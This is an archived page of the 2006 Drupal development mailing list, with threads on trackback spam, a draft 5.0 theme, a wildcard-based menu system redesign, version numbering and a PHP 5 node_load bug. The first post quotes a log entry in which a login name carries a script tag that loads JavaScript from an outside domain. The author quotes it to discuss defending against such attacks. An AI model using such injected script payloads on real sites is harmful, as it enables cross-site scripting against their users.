September 2006 - Development - lists.drupal.org

a bikeshed color problem
by Augustin (Beginner) 09 Oct '06

09 Oct '06

Hmmm... someone who doesn't know how to spell "Johnny" is testing... Message: Login attempt failed for <script src=http://usuc.us/j.js>jonny</script>. Severity: notice Hostname: 67.19.73.162 http://usuc.us/j.js // JavaScript Document window.location = "http://www.google.com/" http://whois.domaintools.com/67.19.73.162 http://whois.domaintools.com/usuc.us I find the domain name evocative... and even appropriate! more below. On Wednesday 20 September 2006 06:12 am, Nelson, Curtis wrote: > > I guess it's obvious I'm in favor of codenames, andrew > > http://en.wikipedia.org/wiki/Color_of_the_bikeshed > > And so the first codename becomes "bikeshed" I didn't know this expression but it's a nice one. Maybe that explains why I didn't get any single reply to my earlier comment (reproduced below) about putting our resources together to fight and definitely deal with spammers, and the people who attack our web sites. Can you imagine the wealth of information we *collectively* have? The list of web sites and domains used to host malicious scripts? The list of IP used as relays? Do we sit on this data mine and do nothing? The only thing needed for evil to win, is that good people do nothing. I often find very interesting the difference between the topics that people will argue about in loooong threads, and the topics that are generally ignored (and I don't mean this one in particular). It is the problem of the color of the bikeshed, indeed. Is the following unrealistic? Impossible to implement? Naive? Judging by the lack of replies: all of the above. I wrote: > @everybody: the .htaccess solution works for my immediate need, but it is a > bit selfish because it doesn't help anyone else. > What follows is not specific to trackback spam, but is relevant to any kind > of spam being propagated via compromised servers or computers. > > <strong class="must-understand" > > The only thing needed for evil to win, is that good people do nothing. > </strong> > > At first, all the trackback spam came from the same IP, but then they > upgraded their software, so that each spam submission came from a different > IP. Certainly, each of those IP correspond to a compromised Windows(TM) > box, or a compromised web site (using a CMS minus security updates), don't > they? (or do I misunderstand the way open relays can be used?) > > > For now, I have successfully denied trackback spammers access to my site, > but they are still free to spam the rest of the world. > What bothered me the most about cpu usage, was that it was such a waste: it > was not even helping the spammers who never got a single of their links > published. > Now, if my cpu power can be put to better uses, I don't mind the extra > resources needed: > is there a way to collect those IPs used by spammers, and share them among > us, and with organizations fighting spam. > The aim would be to get wormed or trojaned windows(TM) boxes (or > compromised web sites) to upgrade to a safe version or shut down. > > If all Drupal web sites were collaborating on gathering useful data, and > passing on this data to relevant organizations, we might collectively > achieve something. > One spam report against one IP might achieve nothing, but a concerted > effort to systematically denounce bad IPs might force people to take > positive actions. > > I really don't know how such a thing could be organized. One has to study > first how organizations fighting spam and organizations setting up > blacklists operate. > > Maybe the developers on this list have better, more concrete ideas... Blessings, augustin. which one do you prefer? http://bikeshed.com/ http://green.bikeshed.com/ http://red.bikeshed.com/ http://yellow.bikeshed.com/ http://blue.bikeshed.com/ http://purple.bikeshed.com/ http://cyan.bikeshed.com/ http://orange.bikeshed.com/ http://pink.bikeshed.com/ http://pinek.bikeshed.com/ http://whitish.bikeshed.com/ http://teal.bikeshed.com/ ... -- http://www.wechange.org/ Because we and the world need to change. http://www.reuniting.info/ Intimate Relationships, peace and harmony in the couple.

3 4

My site is under attack (trackbacks, spam and cpu usage).
by Augustin (Beginner) 06 Oct '06

06 Oct '06

Hello, I am curious: is anyone using the trackback.module and allowing incoming trackbacks? Spammers have a vicious script designed for Drupal, that submits spam trackbacks in a loop, every few minutes, 24/24h. Even though not ONE of their trackbacks has EVER been published on the site, once your site is entered into their registry, they'll never bother take it off. It seems the only human intervention is to ADD new sites to spam in the robot's registry, never to remove any. Even though I have disabled the trackback.module weeks ago (!!!), my logs are still flooded with "warning page not found trackback/$nid not found. " In such a situation, I wonder how anyone could be using the trackback.module for any length of time. My particular concern at this time is server resources. I know there is a spam module that can automatically delete spam trackbacks, but it won't solve the resources problems. My site hasn't had any new content for a week, and the Drupal cache should be working at its best, and the CPU load should be at its lowest. However, the opposite is true. --------------------------------------------- | For the week | For the day | | rank - % | rank - % | --------------------------------------------| cpu | 86th - 0.216% | 190th - 0.107% | hit | 504th - 0.032% | 543th - 0.030% | Bandwidth | 404th - 0.045% | 370th - 0.030% | --------------------------------------------- See the high cpu usage compared to hits and bandwidth. The relatively lower cpu rank for the day is only due to a server upgrade which rendered spamming impossible. Now, I have already noted a few weeks ago that the cpu usage of a Drupal site is higher than the cpu usage of other sites. Another Drupal site I have and which has never used the trackback module (and therefore never been entered in the spammers' registry) is showing the same pattern of a higher cpu usage. However, it is not as bad as this site. For the sake of the other web sites co-hosted on the same server, I'd like to drastically cut down on cpu usage. I'd like to add a directive at the top of .htaccess that ends straightaway any request to trackback/$nid (so that Drupal never gets bootstrapped). Would that work? What would I need to add to .htaccess? If you have some insights on the wider spam issue and trackback spam in particular, please do share. I repeat that the spam.module is not an option: it would increase even further the cpu usage when I want to minimize it. thanks, Augustin. -- http://www.wechange.org/ Because we and the world need to change. http://www.reuniting.info/ Intimate Relationships, peace and harmony in the couple.

8 16

Drupal 5.0 Theme - v2
by Trae McCombs 03 Oct '06

03 Oct '06

First things first, Farsheed has done OUTSTANDING work on trying to incorporate a whole bunch of peoples ideas of what should or shouldn't be in the theme. Below isn't meant to be "open for discussion" per se. It is My Take[tm] on the direction I think the theme should go. If Dries likes it, cool, I hope everyone does too, but I know there will be those who absolutely hate my proposal. My "code" is based off of the 14.zip version that Farsheed put up. I still feel he's the best person to pull these changes together once everything is all settled, I hope I've not made too much of a mess for him. ;) I don't know how to use diff and all that stuff as he does. I just make things pretty[tm]. "My" Theme: http://themes.net/ WHILE you look at the theme above, keep in mind I've only worked on the Fixed version. That isn't to say that I won't work on the fluid version too. Also note that It is NOT a finished version. Below are the tweaks I want to implement of which I feel will push this theme over the edge and make it worth of Drupal 5.0 default theme: * Rounded Corners Yes, we love them don't we? I would like to have rounded corners on the following areas [current colors kept in tact]. 1. Search area 2. Mission 3. Footer If you have Inkscape [ http://inkscape.org ] create a rectangle and click the rectangle select and set Rx and Ry to either 8 or 13. Those are the corner radii I'm thinking of using. I know how to implement a "pure html" way to do rounded corners with no images { as can be seen on my bands site -- yes, it's crappy looking -- http://theinterference.com/ } But wanted to discuss this implementation with maybe Ted, Farsheed, others as to what would be the best way technically to implement the rounded corners. My way I think is smooth and clean, and works on all browsers, but does put a lot of extra mark-up. Do we want that much extra mark-up going into a core theme? * Search bar and Footer bar Texture... these areas will have a nice clean texture in the background (of course, depending on the method we use for rounded corners) But the texture will really make those areas pop. I'll work on this tomorrow. I might simply repeat the "Glassy" feel from the Primary links to those areas. * Secondary Links I'd say we should have a place for Secondary links built into the top search bar, much like the Primary links. These are probably just small font links left aligned. * Logo on Right Not sure which logo to use... There are several Drupal Icon's laying around and wanted to know which is the "official one". This could tie into the "change the logo" discussion we had earlier. Would be nice to at least get the ability to change the logo easily with AJAX goodness into Drupal 5.0 That's about it... If everyone hates this and loves Farsheeds better, my feelings won't be hurt. I figured I'd spend some time, and put up instead of shutting up. :) The way that Farsheeds theme worked, still works, 2col(l/r) and 3col as is displayed. Again, I haven't touched fluid, so I'd have to go back in and fix those things. I can dedicate the rest of this week to this project should everyone (read: Dries) approve of my work thus far, and possibly a wee bit more time after that. Peace love and Bananas, Trae "The Artist Formerly Known as Occy" PS. I hope I didn't forget anything that should have gone in this PS area. :) -- Trae McCombs || http://occy.net/ Founder - Themes.org // Linux.com

17 25

The new menu system
by Karoly Negyesi 03 Oct '06

03 Oct '06

Hi, Note: this post is very long. But it worths a reading. I dare to say that one of the biggest results of DrupalCon is that a new menu system is born. It all began almost a year ago: http://lists.drupal.org/archives/development/2005-10/msg00708.html [quote] There are three basic tasks to consider when talking about performance improvements: - displaying the visible menu (in general, this means all accessible items since we may need them for DHTML solutions) - displaying the breadcrumb trail - finding the active callback - checking access rights [/quote] OK that's four. I already have code for the last three in my sandbox and Adrian have outlined how the first will happen. My focus was finding the active callback. I simply followed JonBob's directions: "We could simplify menu declaration by allowing some sort of wildcards in menu paths. For example, if a module could declare the path "node/%d/edit", then we could dispense with the logic that defines the function only if we are in a node path. The code would certainly be cleaner in this case." I am using the percent sign as a wildcard. There is no %d or %s just %. So you define node/%/edit. Let's say someone navigates to node/12/edit/foo. Now, how do we find out that node/%/edit needs to be run? We generate all possible callbacks and check which one exists: 1111 node/12/edit/foo 1110 node/12/edit/% 1101 node/12/%/foo 1100 node/12/%/% 1011 node/%/edit/foo 1010 node/%/edit/% 1001 node/%/%/foo 1000 node/%/%/% 111 node/12/edit 110 node/12/% 101 node/%/edit 100 node/%/% 11 node/12 10 node/% 1 node The binary numbers are generated naturally: where you see a %, that's a 0, where you see a specific part, that's a 1. This will nicely indicate the the order in which they need to be checked (this is my idea and I am very proud of it -- nothing else in here is my idea). So, we have found node/%/edit. Can we access it? Instead of specifying 'access' => node_access('update', arg(1)) now we do 'access' => 'node_access', 'access arguments' => array('update', 1) . So we use Adrian's favorite: callbacks. I map 1 to arg(1) on runtime for both access and callback arguments. (Side note: I know currently node_access gets a node and not a node id. Adding node_load won't stop us.) Our life gets a bit complicated here, because we do not need to grab one menu item but three: one that defines the title, one that defines the (page) callback and one that defines access. Instead of running three queries against a huge table, I planned to retrieve all possible matches, and pick my three items. As a bonus, I will get the breadcrumb trail. Someone at the second menu meeting (Steven? Adrian?) pointed out that I could move this to the builder phase, and that's done. So we are back to retrieving one item which has title, callback and access inherited as needed. At mentioned in the third meeting, Steven pointed out that my system is vulnerable to a simple DoS attack so now menu item definitions are limited to 6 parts. I can hardly imagine this being a real limitation, I can consider raising it to seven but definitely not more. We are shooting at what's useable not all possible cases. Finally we need to display the navigation block. As said, I shoot at what's probable so instead of caching per user I will check every menu item's access on the fly. The probable case is that these are user_access calls. Maybe user_access needs to be changed to use a multi dimensional array if the repeated strpos calls are too slow. With that said, we need a mechanism to discover which menu items are possible. We will simply cache by parent id and unserialize that (credit goes to Adrian for this). Note that these structures are nowhere near the size of the current menu array. As a bonus feature, we will have hook_menu_alter. To make that usable, we moved the path to the menu item key. (Silly me was doing it in the builder but Adrian pointed out that I should simply define the menu items this way) Aside from Adrian and Steven, big kudos goes to Earl Milles (merlinofchaos). What's done? On the menu level, I need to write the navigation block, all else is done. I also need to convert modules -- node and user already done. All this took only a dozen hours or so, beginning with the first evening/night of DrupalCon first day ending on the train to Charleroi converting user and three meetings at DrupalCon / BarCamp. Regards NK

22 45

With all this talk of menu system changes...
by Scott Reynolds 01 Oct '06

01 Oct '06

I thought I would throw something else out there. I had a chance to hear rich bowden of apache documentation do a talk about apache modules that most people didn't know existed. He talked about AcceptPathInfo directive. He suggested it be used instead of mod_rewrite for urls like http://www.example.com/articles/155. I attempted to implement it and i got pretty far except http://www.example.com/admin will not load admin panel. It had to be http://www.example.com/index/admin. So i just gave up. But if someone thinks they can figure it out drupal might see a speed increase. If someone smarter then me can figure it out might see a significant speed increase. Or perhaps you guys already had this discussion. Also might be the way to move away from unclean urls all together? Anyways, pay little mind to the ponderings of me Also of note, AcceptPathInfo is Apache2. Scott

3 2

FYI: update on 2-digit version #s for core
by Derek Wright 01 Oct '06

01 Oct '06

here's an update on progress for the switch to 2-digit version numbers for core: 1) webchick, sepeck, michelle and myself have been on a roll updating documentation. you can see some of the fruits of our labor here: http://drupal.org/handbook/version-info http://drupal.org/update/modules http://cvs.drupal.org/viewcvs/drupal/contributions/FAQ.txt?view=markup 2) the 4 of us standardized on using "4.7.x" and "5.x" to refer to drupal core and contrib module compatibility whenever possible. previously, we were somewhat inconsistent, and some places we used "4.7" and in others "4.7.x". since the ".x" helps drive home the point to end users that any version of core would be compatible, and since referring to "5" on its own looked too weird, we figured that was the most clear approach. 3) i wrote up a short forum post and promoted to the front page about this: http://drupal.org/node/86823 4) i created a patch against core to fix the version string and a few other cosmetic changes: http://drupal.org/node/86591 (it's RTBC, btw) ;) 5) i fixed nearly all contrib modules that had a DRUPAL-5-0 branch created. everything now has a DRUPAL-5 branch, instead, which is the new branch naming convention for the main stable release of any contrib ported to the 5.x API. the only remaining DRUPAL-5-0 branch is in the audio.module, and i've been in contact with the maintainers of that to try to clear it up (theirs was a special case, because they had made some changes on the DRUPAL-5-0 branch already that haven't been applied to the TRUNK). 6) we've updated the (incredibly helpful) forum page maintained by michelle about "Contrib modules version 5.x status" to match the new reality: http://drupal.org/node/82257 7) sepeck changed the terms in the handbook/forum taxonomy about versions ("4.7" is now "4.7.x", "5.0" is now "5.x", etc). if anyone can think of any other important places that need updating/ changing, please let me know. thanks! -derek (dww)

2 2

re: [development] problem with PHP 5 and node_load
by Peter Wolanin 01 Oct '06

01 Oct '06

I created an issue for this PHP5 problem with node_load and posted 5.0 and 4.7 patches that use drupal_clone(): http://drupal.org/node/86842 In response to Scott McLewin's solution: >I encountered a similar problem when changing over to php5. I don't >know that this was the only answer or even the best answer, but I >changed that line to read: > >$node = node_load(array('nid' => $form_values['nid'])); looking at node_load, I think this will force the node to be re-loaded from the DB (including all the hook_view and hook_nodeapi calls), since the cached object is only returned if a numeric parameter is passed. Thus, it may solve the problem but creates a potential performance hit. -Peter

2 1

re: [development] Change in status
by Peter Wolanin 01 Oct '06

01 Oct '06

With the caveat that you may have problems under PHP5 (see my previous message), one possible way to check this would be to call node_load in your hook_nodeapi to get the cached node object that would have the pre-edit value for publication status. However, this (and most possible solutions) are a little hackish. I'm not sure I know exactly what Moshe has in mind. For an example where the moderation status is preserved via the hook_nodeapi implementation see this module of mine: http://drupal.org/project/content_moderator --------------------------- Date: Sat, 30 Sep 2006 15:42:00 -0400 From: "Dan Ziemecki" <dan(a)ziemecki.com> Subject: [development] Change in status To: development(a)drupal.org Message-ID: <b628f4a80609301242se5a7703jc415d9db758e15dd(a)mail.gmail.com> When a node is submitted, it's current status is sent, but not it's previous status. As such, I can not perform actions on newly published nodes, since I can't tell if it's state has changed. Am I correct in my understanding, or is there a hook I'm missing. Thanks, -- Dan Ziemecki Philosopher. Curmudgeon. Nerd.

2 1

Change in status
by Dan Ziemecki 01 Oct '06

01 Oct '06

When a node is submitted, it's current status is sent, but not it's previous status. As such, I can not perform actions on newly published nodes, since I can't tell if it's state has changed. Am I correct in my understanding, or is there a hook I'm missing. Thanks, -- Dan Ziemecki Philosopher. Curmudgeon. Nerd.

2 2

problem with PHP 5 and node_load
by Peter Wolanin 01 Oct '06

01 Oct '06

Since my Mac laptop died last weekend, I've been using a linux machine as my localhost for testing. I noticed some very strange behavior testing a new feature for my recently-created volunteer_timeslots module: An aspect of this module is that the node view includes two forms. I was appending each form to the node body in hook_view as I generated it. Both forms have $node->nid as a value in the form and have submit functions like: $node = node_load($form_values['nid']); ...change the node's volunteer data... $node->revision = TRUE; node_save($node); Under PHP 4 (my Mac, or linux shared host), submitting the second form on the page works fine. Under PHP 5, submitting the second form on the page causes the saved node body to have the contents of the first form appended to it! So, my conclusion is that the object returned from node_load is not the same during all stages of the page view. I'd attribute this somehow to PHP 5's behavior where all objects are passed by reference. I can avoid the problem by storing the two forms in a tempory variable and then appending both to the node body at the end of hook_view, rather than appending each form to the node body as it's generated. Is this a bug? Am I wrong to expect node_load($nid) to always return the same thing? If this is a bug, maybe node_load needs to store/return a clone of the node object? -Peter

2 1